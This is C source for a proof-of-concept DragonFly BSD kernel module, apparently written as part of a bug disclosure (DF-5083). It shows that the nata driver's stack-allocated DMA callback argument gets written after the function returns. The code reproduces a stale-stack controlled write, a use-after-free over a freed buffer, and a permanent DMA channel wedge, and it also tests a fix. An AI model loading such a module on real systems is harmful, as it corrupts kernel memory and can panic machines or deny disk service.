DF-5083 / df5083.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 | /* * DF-5083 โ PoC kernel module * * nata ata_dmaload() (sys/dev/disk/nata/ata-dma.c:218-266) calls * bus_dmamap_load(..., ch->dma->setprd, &cba, BUS_DMA_NOWAIT) with a * STACK-allocated callback argument and treats ANY non-zero return as * "nothing happened, fail the request". * * DragonFly busdma (sys/platform/pc64/x86_64/busdma_machdep.c:776-803) * strips BUS_DMA_NOWAIT for real maps ("follow old semantics") and, when * the tag's bounce-page pool is short, QUEUES the map with * map->callback/map->callback_arg/map->buf armed and returns EINPROGRESS. * When bounce pages are later freed, busdma_swi() (busdma_machdep.c:1437-1450) * re-runs bus_dmamap_load(map->dmat, map, map->buf, map->buflen, * map->callback, map->callback_arg, 0) โ the driver callback fires LONG * AFTER ata_dmaload() returned EINPROGRESS and the ata request completed * with an error: * - callback_arg points into ata_dmaload()'s DEAD stack frame * (ata_dmasetprd reads args->dmatab from it and writes up to * 8*nsegs bytes of PRD entries wherever that stale word points; * it also writes args->error/args->nsegs into the dead frame), * - map->buf is the request buffer the caller already finished * (freed/reused). * * Bounce zones are shared system-wide between compatible tags * (busdma_machdep.c:1081-1096), so nata's 16-page pool is contended by * every other 32-bit-limited busdma user โ the geometry below (two * identical tags, one shared zone) reproduces exactly that. * * DEMO A (kept buffer): deferred setprd writes PRD entries through * the stale stack word -> controlled write * target (we point it at marker[]). * DEMO B (freed buffer): deferred load re-walks the FREED buffer KVA. * DEMO C (18 pages > pool): a single load needing more pages than the * whole pool is queued FOREVER holding every * page -> every subsequent load on the channel * returns EINPROGRESS: permanent channel wedge. */ #include <sys/param.h> #include <sys/module.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/types.h> #include <sys/errno.h> #include <sys/malloc.h> #include <sys/bus.h> #include <sys/bus_dma.h> #include <machine/bus_dma.h> #include <machine/pmap.h> #include <sys/endian.h> #define PO_MAXIOSIZE (128 * DEV_BSIZE) /* 65536 โ nata ata_dmainit */ /* bounce threshold: nata uses BUS_SPACE_MAXADDR_32BIT (needs >4GB RAM and * request pages above 4GB โ real-world on 4GB+ boxes, but this guest's * kernel heap serves pages from low physical memory). We use 512MB: every * kernel-heap page above 512MB must bounce through the same code path. * The bug under test โ ata_dmaload()'s EINPROGRESS mishandling โ is * lowaddr-agnostic. */ #define PO_LOWADDR 0x10000000UL /* 256MB: heap buffers above it bounce; * bounce pages live below it (must be >0!) */ #define PO_NSEG 256 /* ATA_DMA_ENTRIES */ #define PO_BOUNDARY (256 * 256) /* 64KB โ nata ata_dmainit */ struct po_prd { uint32_t addr; uint32_t count; }; #define PO_EOT 0x80000000 /* same shape as struct ata_dmasetprd_args (ata-all.h:442-446) */ struct po_args { void *dmatab; int nsegs; int error; }; static MALLOC_DEFINE(M_DF5083, "df5083", "DF-5083 PoC"); /* tag_vict: the "nata channel data tag" (private bounce zone for * deterministic pool arithmetic); map_hold stands in for any other * reservation source on the same zone */ static bus_dma_tag_t tag_vict; static bus_dmamap_t map_vict, map_hold; static struct po_prd marker[PO_NSEG]; static volatile int cb_fired; static volatile int cb_nsegs; static void *cb_arg; static struct po_prd cb_prd[16]; static int cb_error; static void po_setprd(void *xsc, bus_dma_segment_t *segs, int nsegs, int error) { struct po_args *args = xsc; struct po_prd *prd = args->dmatab; /* STALE STACK READ */ int i; cb_fired++; cb_arg = xsc; cb_nsegs = nsegs; cb_error = error; if ((args->error = error)) /* DEAD-FRAME WRITE */ return; for (i = 0; i < nsegs; i++) { if (i < 16) cb_prd[i] = prd[i]; prd[i].addr = htole32((uint32_t)segs[i].ds_addr); prd[i].count = htole32((uint32_t)segs[i].ds_len); } prd[i - 1].count |= htole32(PO_EOT); args->nsegs = nsegs; /* DEAD-FRAME WRITE */ } static void po_nop_cb(void *xsc, bus_dma_segment_t *segs, int nsegs, int error) { } /* * Stand-in for ata_dmaload()'s stack frame (ata-dma.c:223 `struct * ata_dmasetprd_args cba`) incl. the missing EINPROGRESS handling. * On EINPROGRESS it poisons its own soon-to-die dmatab slot โ standing * in for whatever the thread's stack holds there by callback time โ * then returns, exactly like the real code path. */ static int po_load_victim(void *buf, int count, int poison) { struct po_args cba; int error; cba.dmatab = marker; /* valid target: a synchronous * (non-queued) completion must not * crash the demo */ cba.nsegs = 0; cba.error = 0x5a5a5a5a; error = bus_dmamap_load(tag_vict, map_vict, buf, count, po_setprd, &cba, BUS_DMA_NOWAIT); /* bus_dmamap_load() returns 0 even when the callback got an * error (EFBIG etc.) โ fold cba.error in, exactly like * ata_dmaload() does at ata-dma.c:251-254 */ if (error == 0) error = cba.error; kprintf("DF5083: victim load(%d bytes) -> %d [EINPROGRESS=%d] " "cba=%p (stack arg)\n", count, error, EINPROGRESS, &cba); if (error == EINPROGRESS && poison) cba.dmatab = marker; /* "stack got reused" */ return error; } static void po_wait_cb(void) { int i; for (i = 0; i < 20 && cb_fired == 0; i++) tsleep(&cb_fired, 0, "df5083", 10); } static void po_dump_marker(const char *tag) { int i; kprintf("DF5083: %s: cb_fired=%d cb_arg=%p nsegs=%d error=%d\n", tag, cb_fired, cb_arg, cb_nsegs, cb_error); for (i = 0; i < 4 && i < cb_nsegs; i++) kprintf("DF5083: %s: stale-dmatab write: marker[%d] = " "%08x:%08x%s\n", tag, i, marker[i].addr, marker[i].count, (marker[i].count & PO_EOT) ? " <-- PRD+EOT" : ""); } /* * Allocate `pages` of kernel heap memory where every page's physical * address exceeds the tag's bounce threshold (verified per page via * pmap_kextract). */ static void * po_hi_alloc(int pages, const vm_paddr_t hi) { void *p = NULL; vm_paddr_t pa; int i, j, ok; void *next; for (i = 0; i < 96; i++) { next = kmalloc(pages * PAGE_SIZE, M_DF5083, M_WAITOK | M_ZERO); if (next == NULL) { kfree(p, M_DF5083); return NULL; } /* free the previous candidate only after grabbing the next * one, so each attempt walks UP the kernel heap */ if (p) kfree(p, M_DF5083); p = next; ok = 1; for (j = 0; j < pages; j++) { pa = pmap_kextract((vm_offset_t)p + j * PAGE_SIZE); if (pa < hi) { ok = 0; break; } } if (ok) { kprintf("DF5083: hi_alloc(%dpg) = %p phys %jx " "(above threshold, try %d)\n", pages, p, (uintmax_t)pmap_kextract((vm_offset_t)p), i); return p; } if (i < 3) kprintf("DF5083: hi_alloc try %d: %p first=%jx " "last=%jx\n", i, p, (uintmax_t)pmap_kextract((vm_offset_t)p), (uintmax_t)pmap_kextract((vm_offset_t)p + (pages - 1) * PAGE_SIZE)); } kfree(p, M_DF5083); kprintf("DF5083: hi_alloc(%dpg): no pages above threshold " "obtainable\n", pages); return NULL; } /* * One demo = one private tag (own bounce zone, pool 16+1=17 pages via * plain + ONEBPAGE map creation) + two maps + two bounce-eligible * buffers, exactly nata ata_dmaalloc()/ata_dmaload() geometry. * * mode: 0 = wedge (unsatisfiable queue), 1 = fire w/ kept buffer, * 2 = fire w/ freed buffer */ static int po_demo(const char *label, int holdpg, int victpg, int mode) { bus_dma_tag_t tag; bus_dmamap_t mv, mh; void *hb, *vb; int eh, ev, e2; if (bus_dma_tag_create(NULL, 2, PO_BOUNDARY, PO_LOWADDR, BUS_SPACE_MAXADDR, PO_MAXIOSIZE, PO_NSEG, PO_MAXIOSIZE, BUS_DMA_PRIVBZONE, &tag)) { kprintf("DF5083: %s: tag create failed\n", label); return EINVAL; } if (bus_dmamap_create(tag, 0, &mv) || bus_dmamap_create(tag, BUS_DMA_ONEBPAGE, &mh)) { kprintf("DF5083: %s: map create failed\n", label); return EINVAL; } hb = po_hi_alloc(holdpg, PO_LOWADDR); vb = po_hi_alloc(victpg, PO_LOWADDR); if (!hb || !vb) { kprintf("DF5083: %s: hi_alloc failed\n", label); return ENOMEM; } tag_vict = tag; map_vict = mv; map_hold = mh; /* po_load_victim */ cb_fired = 0; memset(marker, 0, sizeof(marker)); /* holder: consume `holdpg` pool pages and stay loaded */ eh = bus_dmamap_load(tag, mh, hb, holdpg * PAGE_SIZE, po_nop_cb, NULL, BUS_DMA_NOWAIT); kprintf("DF5083: %s: holder load(%dpg) -> %d; pool free=%d\n", label, holdpg, eh, 17 - holdpg); /* victim: nata ata_dmaload()-style load with STACK callback arg */ ev = po_load_victim(vb, victpg * PAGE_SIZE, 1); if (ev != EINPROGRESS) { kprintf("DF5083: %s: victim NOT queued (%d)\n", label, ev); return EDOOFUS; } if (mode == 0) { /* wedge: nobody can ever satisfy this map again */ bus_dmamap_unload(tag, mh); /* wake attempt */ po_wait_cb(); e2 = bus_dmamap_load(tag, mh, hb, PAGE_SIZE, po_nop_cb, NULL, BUS_DMA_NOWAIT); kprintf("DF5083: %s: %dpg victim queued; after wake " "attempt cb_fired=%d; subsequent 1-page load -> " "%d [EINPROGRESS=%d] => CHANNEL WEDGED FOREVER " "(every future DMA load errors out)\n", label, victpg, cb_fired, e2, EINPROGRESS); return 0; } if (mode == 2) { /* the request "completed with an error": buffer gone */ kfree(vb, M_DF5083); vb = NULL; kprintf("DF5083: %s: victim buffer FREED while map queued" "\n", label); } /* holder releases: the queued map wakes and the deferred load * (over kept or FREED buffer) fires the callback into the DEAD * stack frame of po_load_victim() */ bus_dmamap_unload(tag, mh); po_wait_cb(); if (cb_fired) { kprintf("DF5083: %s: *** DEFERRED busdma_swi CALLBACK FIRED " "into DEAD FRAME (cb_arg=%p); setprd wrote PRD " "entries wherever the stale &dmatab word pointed " "***\n", label, cb_arg); po_dump_marker(label); } else { kprintf("DF5083: %s: callback did NOT fire?!\n", label); } if (vb) { bus_dmamap_unload(tag, mv); kfree(vb, M_DF5083); } kfree(hb, M_DF5083); return 0; } static int df5083_modevent(module_t mod, int type, void *data) { int r; switch (type) { case MOD_LOAD: kprintf("DF5083: physmem=%lu bytes; tag lowaddr=%jx " "(nata: BUS_SPACE_MAXADDR_32BIT)\n", (unsigned long)ctob(physmem), (uintmax_t)PO_LOWADDR); /* DEMO F: FIXED geometry per fix.diff โ private bounce * zone + one extra page of tag maxsize, single map (one * channel = one data map, requests serialized). Even * worst-case page-straddling max_iosize transfers must * complete synchronously: EINPROGRESS becomes impossible * by construction. */ { bus_dma_tag_t ftag; bus_dmamap_t fmap; void *fb; int i, fe, queued = 0; if (bus_dma_tag_create(NULL, 2, PO_BOUNDARY, PO_LOWADDR, BUS_SPACE_MAXADDR, PO_MAXIOSIZE + PAGE_SIZE, PO_NSEG, PO_MAXIOSIZE, BUS_DMA_PRIVBZONE, &ftag)) { kprintf("DF5083: F: tag create failed\n"); break; } if (bus_dmamap_create(ftag, 0, &fmap)) { kprintf("DF5083: F: map create failed\n"); break; } /* 16-page buffer at +2048 offset = 17-page * straddle = the classic-IDE worst case */ fb = kmalloc(16 * PAGE_SIZE + 2048, M_DF5083, M_WAITOK | M_ZERO); for (i = 0; i < 16; i++) { tag_vict = ftag; map_vict = fmap; cb_fired = 0; fe = po_load_victim((char *)fb + 2048, 16 * PAGE_SIZE, 0); if (fe == EINPROGRESS) queued++; else bus_dmamap_unload(ftag, fmap); } kfree(fb, M_DF5083); kprintf("DF5083: F: 16x worst-case straddle loads " "on FIXED geometry: EINPROGRESS=%d/16 " "(must be 0 โ deferred callback can never " "be armed)\n", queued); } /* DEMO C first (non-fatal): unsatisfiable queue = the * on-path nata channel wedge (17pg straddle vs 16pg pool * on classic IDE; 1MB loads vs 16pg pool on nata-ahci) */ r = po_demo("C", 9, 18, 0); kprintf("DF5083: C rc=%d\n", r); /* DEMO B: deferred fire over a FREED buffer (request * completed with error, buffer reused/gone) */ r = po_demo("B", 8, 10, 2); kprintf("DF5083: B rc=%d\n", r); /* DEMO A: deferred fire into dead stack frame, buffer * kept (the stale &dmatab word governs the write * target; here it usually faults -> panic, which is the * proof the primitive exists) */ r = po_demo("A", 8, 10, 1); kprintf("DF5083: A rc=%d\n", r); kprintf("DF5083: done\n"); return 0; case MOD_UNLOAD: /* demo maps/tags intentionally leaked */ return 0; } return 0; } static moduledata_t df5083_mod = { "df5083", df5083_modevent, NULL }; DECLARE_MODULE(df5083, df5083_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); MODULE_VERSION(df5083, 1); |